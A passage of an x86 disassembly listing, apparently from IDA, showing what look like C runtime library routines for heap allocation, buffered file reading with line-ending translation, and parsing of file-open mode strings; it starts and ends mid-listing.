		jnb	short loc_41F581


loc_41F547:				; CODE XREF: sub_41F50E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41F56A
		cmp	[edi+4], ebx
		jbe	short loc_41F56A
		push	ebx
		push	ecx
		push	eax
		call	sub_41F716
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F5D9
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41F56A:				; CODE XREF: sub_41F50E+40j
					; sub_41F50E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41F547
		jmp	short loc_41F584
; ---------------------------------------------------------------------------


loc_41F581:				; CODE XREF: sub_41F50E+37j
		mov	ebx, [ebp+arg_0]


loc_41F584:				; CODE XREF: sub_41F50E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41F5CA


loc_41F597:				; CODE XREF: sub_41F50E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41F5B6
		cmp	[edi+4], ebx
		jbe	short loc_41F5B6
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41F716
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F5D9
		mov	[edi+4], ebx


loc_41F5B6:				; CODE XREF: sub_41F50E+8Dj
					; sub_41F50E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41F597
		jmp	short loc_41F5CA
; ---------------------------------------------------------------------------


loc_41F5C7:				; CODE XREF: sub_41F50E+14j
		mov	ebx, [ebp+arg_0]


loc_41F5CA:				; CODE XREF: sub_41F50E+87j
					; sub_41F50E+B7j
		mov	esi, [esi]
		cmp	esi, off_43CE70
		jz	short loc_41F5E9
		jmp	loc_41F51C
; ---------------------------------------------------------------------------


loc_41F5D9:				; CODE XREF: sub_41F50E+54j
					; sub_41F50E+A3j
		mov	off_43CE70, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41F711
; ---------------------------------------------------------------------------


loc_41F5E9:				; CODE XREF: sub_41F50E+C4j
		mov	eax, offset off_43AE50
		mov	edi, eax


loc_41F5F0:				; CODE XREF: sub_41F50E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41F5FC
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41F608


loc_41F5FC:				; CODE XREF: sub_41F50E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41F6DD
		jmp	short loc_41F5F0
; ---------------------------------------------------------------------------


loc_41F608:				; CODE XREF: sub_41F50E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41F637


loc_41F626:				; CODE XREF: sub_41F50E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41F637
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41F626


loc_41F637:				; CODE XREF: sub_41F50E+116j
					; sub_41F50E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		nop
		call	near ptr 2680572h
		cmp	eax, esi
		jnz	loc_41F70F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41BF70
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41F69E
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41F674:				; CODE XREF: sub_41F50E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41F674


loc_41F69E:				; CODE XREF: sub_41F50E+15Ej
		mov	off_43CE70, edi
		lea	eax, [edi+2018h]


loc_41F6AA:				; CODE XREF: sub_41F50E+1A8j
		cmp	ecx, eax
		jnb	short loc_41F6BA
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41F6B8
		add	ecx, 8
		jmp	short loc_41F6AA
; ---------------------------------------------------------------------------


loc_41F6B8:				; CODE XREF: sub_41F50E+1A3j
		cmp	ecx, eax


loc_41F6BA:				; CODE XREF: sub_41F50E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41F711
; ---------------------------------------------------------------------------


loc_41F6DD:				; CODE XREF: sub_41F50E+F2j
		call	sub_41F216
		test	eax, eax
		jz	short loc_41F70F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43CE70, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41F711
; ---------------------------------------------------------------------------


loc_41F70F:				; CODE XREF: sub_41F50E+143j
					; sub_41F50E+1D6j
		xor	eax, eax


loc_41F711:				; CODE XREF: sub_41F50E+D6j
					; sub_41F50E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F50E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F716	proc near		; CODE XREF: sub_41F50E+4Ap
					; sub_41F50E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41F75B
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41F74A
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41F753
; ---------------------------------------------------------------------------


loc_41F74A:				; CODE XREF: sub_41F716+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41F753:				; CODE XREF: sub_41F716+32j
		lea	eax, [edi+8]
		jmp	loc_41F829
; ---------------------------------------------------------------------------


loc_41F75B:				; CODE XREF: sub_41F716+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41F764
		mov	eax, esi


loc_41F764:				; CODE XREF: sub_41F716+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41F7AE


loc_41F76B:				; CODE XREF: sub_41F716+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41F7A1
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41F777:				; CODE XREF: sub_41F716+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41F780
		inc	ebx
		inc	esi
		jmp	short loc_41F777
; ---------------------------------------------------------------------------


loc_41F780:				; CODE XREF: sub_41F716+64j
		cmp	esi, edx
		jnb	short loc_41F7D2
		cmp	eax, [ebp+var_4]
		jnz	short loc_41F78E
		mov	[ecx+4], esi
		jmp	short loc_41F79A
; ---------------------------------------------------------------------------


loc_41F78E:				; CODE XREF: sub_41F716+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41F833


loc_41F79A:				; CODE XREF: sub_41F716+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41F7A6
; ---------------------------------------------------------------------------


loc_41F7A1:				; CODE XREF: sub_41F716+59j
		movzx	esi, bl
		add	eax, esi


loc_41F7A6:				; CODE XREF: sub_41F716+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41F76B


loc_41F7AE:				; CODE XREF: sub_41F716+53j
		lea	esi, [ecx+8]


loc_41F7B1:				; CODE XREF: sub_41F716+EBj
					; sub_41F716+F2j
		cmp	esi, edi
		jnb	short loc_41F833
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41F833
		mov	al, [esi]
		test	al, al
		jnz	short loc_41F803
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41F7C9:				; CODE XREF: sub_41F716+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41F7F3
		inc	ebx
		inc	eax
		jmp	short loc_41F7C9
; ---------------------------------------------------------------------------


loc_41F7D2:				; CODE XREF: sub_41F716+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41F7E3
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41F7EC
; ---------------------------------------------------------------------------


loc_41F7E3:				; CODE XREF: sub_41F716+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41F7EC:				; CODE XREF: sub_41F716+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41F829
; ---------------------------------------------------------------------------


loc_41F7F3:				; CODE XREF: sub_41F716+B6j
		cmp	eax, edx
		jnb	short loc_41F80A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41F833
		mov	esi, ebx
		jmp	short loc_41F7B1
; ---------------------------------------------------------------------------


loc_41F803:				; CODE XREF: sub_41F716+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41F7B1
; ---------------------------------------------------------------------------


loc_41F80A:				; CODE XREF: sub_41F716+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41F81B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41F824
; ---------------------------------------------------------------------------


loc_41F81B:				; CODE XREF: sub_41F716+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41F824:				; CODE XREF: sub_41F716+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41F829:				; CODE XREF: sub_41F716+40j
					; sub_41F716+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41F835
; ---------------------------------------------------------------------------


loc_41F833:				; CODE XREF: sub_41F716+7Ej
					; sub_41F716+9Dj ...
		xor	eax, eax


loc_41F835:				; CODE XREF: sub_41F716+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F716	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F83A	proc near		; CODE XREF: sub_41BBE2+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41F874
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F8D4
; ---------------------------------------------------------------------------


loc_41F874:				; CODE XREF: sub_41F83A+26j
		jnb	short loc_41F8DB
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F8DB
		lea	eax, [ecx+edx]


loc_41F889:				; CODE XREF: sub_41F83A+59j
		cmp	eax, esi
		jnb	short loc_41F897
		cmp	byte ptr [eax],	0
		jnz	short loc_41F895
		inc	eax
		jmp	short loc_41F889
; ---------------------------------------------------------------------------


loc_41F895:				; CODE XREF: sub_41F83A+56j
		cmp	eax, esi


loc_41F897:				; CODE XREF: sub_41F83A+51j
		jnz	short loc_41F8DB
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F8CF
		cmp	esi, eax
		jbe	short loc_41F8CF
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F8C6
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F8C1


loc_41F8BA:				; CODE XREF: sub_41F83A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F8BA


loc_41F8C1:				; CODE XREF: sub_41F83A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F8CF
; ---------------------------------------------------------------------------


loc_41F8C6:				; CODE XREF: sub_41F83A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F8CF:				; CODE XREF: sub_41F83A+68j
					; sub_41F83A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F8D4:				; CODE XREF: sub_41F83A+38j
		mov	[ebp+var_4], 1


loc_41F8DB:				; CODE XREF: sub_41F83A:loc_41F874j
					; sub_41F83A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F83A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F8E3	proc near		; CODE XREF: sub_41BAFA+A9p
					; sub_41C52F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F9B7
		test	al, 40h
		jnz	loc_41F9B7
		test	al, 2
		jz	short loc_41F909
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F9B7
; ---------------------------------------------------------------------------


loc_41F909:				; CODE XREF: sub_41F8E3+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F91D
		push	esi
		call	sub_4241F7
		pop	ecx
		jmp	short loc_41F922
; ---------------------------------------------------------------------------


loc_41F91D:				; CODE XREF: sub_41F8E3+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41F922:				; CODE XREF: sub_41F8E3+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F9BC
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F9A6
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F9A6
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F97B
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F964
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DD040[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F969
; ---------------------------------------------------------------------------


loc_41F964:				; CODE XREF: sub_41F8E3+6Bj
		mov	edi, offset dword_43D4D0


loc_41F969:				; CODE XREF: sub_41F8E3+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F97B
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F97B:				; CODE XREF: sub_41F8E3+62j
					; sub_41F8E3+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F998
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F998
		test	ch, 4
		jnz	short loc_41F998
		mov	dword ptr [esi+18h], 1000h


loc_41F998:				; CODE XREF: sub_41F8E3+9Fj
					; sub_41F8E3+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F9A6:				; CODE XREF: sub_41F8E3+55j
					; sub_41F8E3+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F9B7:				; CODE XREF: sub_41F8E3+Aj
					; sub_41F8E3+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F8E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F9BC	proc near		; CODE XREF: sub_41BAFA+90p
					; sub_41F8E3+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DD140
		jnb	loc_41FB99
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DD040h[eax*4]
		mov	eax, dword_4DD040[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41FB99
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41FA71
		test	dl, 2
		jnz	short loc_41FA71
		test	dl, 48h
		jz	short loc_41FA31
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41FA31
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41FA31:				; CODE XREF: sub_41F9BC+56j
					; sub_41F9BC+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2730000h
		test	eax, eax
		jnz	short loc_41FA84
		call	near ptr 26B0669h
		nop
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41FA6C
		mov	dword_4DBDDC, 9
		mov	dword_4DBDE0, ecx
		jmp	loc_41FBAA
; ---------------------------------------------------------------------------


loc_41FA6C:				; CODE XREF: sub_41F9BC+99j
		cmp	eax, 6Dh
		jnz	short loc_41FA78


loc_41FA71:				; CODE XREF: sub_41F9BC+4Cj
					; sub_41F9BC+51j
		xor	eax, eax
		jmp	loc_41FBAD
; ---------------------------------------------------------------------------


loc_41FA78:				; CODE XREF: sub_41F9BC+B3j
		push	eax
		call	sub_420C7F
		pop	ecx
		jmp	loc_41FBAA
; ---------------------------------------------------------------------------


loc_41FA84:				; CODE XREF: sub_41F9BC+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41FB94
		test	edx, edx
		jz	short loc_41FAA9
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41FAA9
		or	al, 4
		jmp	short loc_41FAAB
; ---------------------------------------------------------------------------


loc_41FAA9:				; CODE XREF: sub_41F9BC+E2j
					; sub_41F9BC+E7j
		and	al, 0FBh


loc_41FAAB:				; CODE XREF: sub_41F9BC+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41FB8E


loc_41FAC3:				; CODE XREF: sub_41F9BC+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41FB7E
		cmp	al, 0Dh
		jz	short loc_41FADF
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41FB70
; ---------------------------------------------------------------------------


loc_41FADF:				; CODE XREF: sub_41F9BC+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41FAFD
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41FAF4
		add	[ebp+arg_8], 2
		jmp	short loc_41FB52
; ---------------------------------------------------------------------------


loc_41FAF4:				; CODE XREF: sub_41F9BC+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41FB70
; ---------------------------------------------------------------------------


loc_41FAFD:				; CODE XREF: sub_41F9BC+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2730000h
		test	eax, eax
		jnz	short loc_41FB25
		call	near ptr 26B0669h
		nop
		test	eax, eax
		jnz	short loc_41FB6C


loc_41FB25:				; CODE XREF: sub_41F9BC+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41FB6C
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41FB47
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41FB52
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41FB70
; ---------------------------------------------------------------------------


loc_41FB47:				; CODE XREF: sub_41F9BC+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41FB57
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41FB57


loc_41FB52:				; CODE XREF: sub_41F9BC+136j
					; sub_41F9BC+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41FB6F
; ---------------------------------------------------------------------------


loc_41FB57:				; CODE XREF: sub_41F9BC+18Ej
					; sub_41F9BC+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_422F09
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41FB70


loc_41FB6C:				; CODE XREF: sub_41F9BC+167j
					; sub_41F9BC+16Dj
		mov	byte ptr [edi],	0Dh


loc_41FB6F:				; CODE XREF: sub_41F9BC+199j
		inc	edi


loc_41FB70:				; CODE XREF: sub_41F9BC+11Ej
					; sub_41F9BC+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41FAC3
		jmp	short loc_41FB8E
; ---------------------------------------------------------------------------


loc_41FB7E:				; CODE XREF: sub_41F9BC+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41FB8E
		or	al, 2
		mov	[esi], al


loc_41FB8E:				; CODE XREF: sub_41F9BC+101j
					; sub_41F9BC+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41FB94:				; CODE XREF: sub_41F9BC+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41FBAD
; ---------------------------------------------------------------------------


loc_41FB99:				; CODE XREF: sub_41F9BC+12j
					; sub_41F9BC+39j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_41FBAA:				; CODE XREF: sub_41F9BC+ABj
					; sub_41F9BC+C3j
		or	eax, 0FFFFFFFFh


loc_41FBAD:				; CODE XREF: sub_41F9BC+B7j
					; sub_41F9BC+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F9BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FBB2	proc near		; CODE XREF: sub_41BBE2+126p
					; sub_41BBE2+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DBE44
		test	eax, eax
		jz	short loc_41FBCA
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41FBCA
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41FBCA:				; CODE XREF: sub_41FBB2+7j
					; sub_41FBB2+12j
		xor	eax, eax
		retn
sub_41FBB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FBCD	proc near		; CODE XREF: sub_41BE82+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DBFB0
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41FC06
		cmp	al, 72h
		jz	short loc_41FBFF
		cmp	al, 77h
		jnz	loc_41FD1A
		mov	ecx, 301h
		jmp	short loc_41FC0B
; ---------------------------------------------------------------------------


loc_41FBFF:				; CODE XREF: sub_41FBCD+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41FC0E
; ---------------------------------------------------------------------------


loc_41FC06:				; CODE XREF: sub_41FBCD+1Dj
		mov	ecx, 109h


loc_41FC0B:				; CODE XREF: sub_41FBCD+30j
		or	esi, 2


loc_41FC0E:				; CODE XREF: sub_41FBCD+37j
		push	1
		pop	edx


loc_41FC11:				; CODE XREF: sub_41FBCD+8Bj
					; sub_41FBCD+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41FD00
		cmp	edx, ebx
		jz	loc_41FD00
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41FC9F
		jz	short loc_41FC8F
		sub	eax, 2Bh
		jz	short loc_41FC79
		sub	eax, 19h
		jz	short loc_41FC6F
		sub	eax, 0Eh
		jz	short loc_41FC5A
		dec	eax
		jnz	loc_41FCF1
		cmp	[ebp+var_4], ebx
		jnz	loc_41FCF1
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC5A:				; CODE XREF: sub_41FBCD+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41FCF1
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC6F:				; CODE XREF: sub_41FBCD+6Aj
		test	cl, 40h
		jnz	short loc_41FCF1
		or	ecx, 40h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC79:				; CODE XREF: sub_41FBCD+65j
		test	cl, 2
		jnz	short loc_41FCF1
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC8F:				; CODE XREF: sub_41FBCD+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41FCF1
		or	ecx, eax
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC9F:				; CODE XREF: sub_41FBCD+5Ej
		sub	eax, 62h
		jz	short loc_41FCEC
		dec	eax
		jz	short loc_41FCD5
		sub	eax, 0Bh
		jz	short loc_41FCBE
		sub	eax, 6
		jnz	short loc_41FCF1
		test	ch, 0C0h
		jnz	short loc_41FCF1
		or	ch, 40h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCBE:				; CODE XREF: sub_41FBCD+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41FCF1
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCD5:				; CODE XREF: sub_41FBCD+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41FCF1
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCEC:				; CODE XREF: sub_41FBCD+D5j
		test	ch, 0C0h
		jz	short loc_41FCF8


loc_41FCF1:				; CODE XREF: sub_41FBCD+72j
					; sub_41FBCD+7Bj ...
		xor	edx, edx
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCF8:				; CODE XREF: sub_41FBCD+122j
		or	ch, 80h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FD00:				; CODE XREF: sub_41FBCD+4Aj
					; sub_41FBCD+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_42423B
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41FD1E


loc_41FD1A:				; CODE XREF: sub_41FBCD+25j
		xor	eax, eax
		jmp	short loc_41FD38
; ---------------------------------------------------------------------------


loc_41FD1E:				; CODE XREF: sub_41FBCD+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DBFAC
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41FD38:				; CODE XREF: sub_41FBCD+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FBCD	endp


; =============== S U B	R O U T	I N E =======================================



